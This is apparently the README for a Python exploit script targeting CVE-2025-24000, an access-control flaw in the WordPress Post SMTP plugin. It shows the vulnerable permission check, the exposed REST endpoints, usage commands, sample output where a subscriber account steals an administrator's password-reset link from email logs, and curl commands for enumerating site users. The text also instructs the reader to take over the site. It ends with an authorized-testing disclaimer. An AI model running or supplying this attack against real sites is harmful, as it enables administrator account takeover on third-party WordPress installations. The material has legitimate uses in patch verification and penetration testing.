
CVE-2025–24000を悪用するための短いPythonスクリプト。このブログ記事に基づいています: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
このスクリプトは CVE-2025-24000 を悪用します。これは Post SMTP WordPress プラグイン(バージョン ≤ 3.2.0)における重大なアクセス制御の脆弱性です。低権限アカウント(例: 購読者)を持つ任意の認証ユーザーが、プラグインの REST API メールログにアクセスし、管理者パスワードリセットリンクを盗み取り、管理者アカウントを乗っ取ることができます。
この脆弱性は、プラグインの REST API における不適切な権限チェックに起因します:
// 脆弱なコード (≤ 3.2.0)
public function get_logs_permission() {
return is_user_logged_in();
}
ログインしているユーザーであれば、ロールに関係なく、管理者専用のエンドポイントにアクセスできます:
GET /wp-json/psd/v1/get-logsGET /wp-json/psd/v1/get-details?id=<id>&type=show_viewPOST /wp-json/psd/v1/resend-email/wp-admin/ から WP REST ノンスを取得/wp-admin にログインrequests ライブラリ (pip install requests)python3 exploit_cve_2025_24000.py \
--url <wordpress_base_url> \
--username <your_subscriber_username> \
--password <your_subscriber_password> \
--email <admin_username_or_email>
| 引数 | 説明 |
|---|---|
--url |
python3 exploit_cve_2025_24000.py \
--url http://samurai.local/samurai/ \
--username attacker \
--password Password1 \
--email shogun
[*] attacker としてログイン中...
[+] attacker としてログイン成功
[*] wp-admin から WP REST ノンスを取得中...
[+] ノンス取得成功: a5f398e081
[*] shogun のパスワードリセットをトリガー中...
[+] パスワードリセットをトリガーしました
[*] メールログを取得中...
[+] ログのレスポンス取得成功
[*] リセットリンクを探すために 1 件のメールをチェック中...
[+] リセットリンクを発見:
http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun
[*] 上記のリンクにアクセスして新しい管理者パスワードを設定し、サイトを乗っ取ってください。
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
curl -s 'http://target.local/?author=1' -I | grep -i location
このツールは、許可されたペネトレーションテストおよび教育目的専用です。明示的な許可がないシステムに対しては使用しないでください。
WordPress サイトのベース URL(例: http://target.local/wordpress/) |
--username | あなたの低権限 WordPress ユーザー名 |
--password | あなたの低権限 WordPress パスワード |
--email | リセット対象の管理者ユーザー名またはメールアドレス |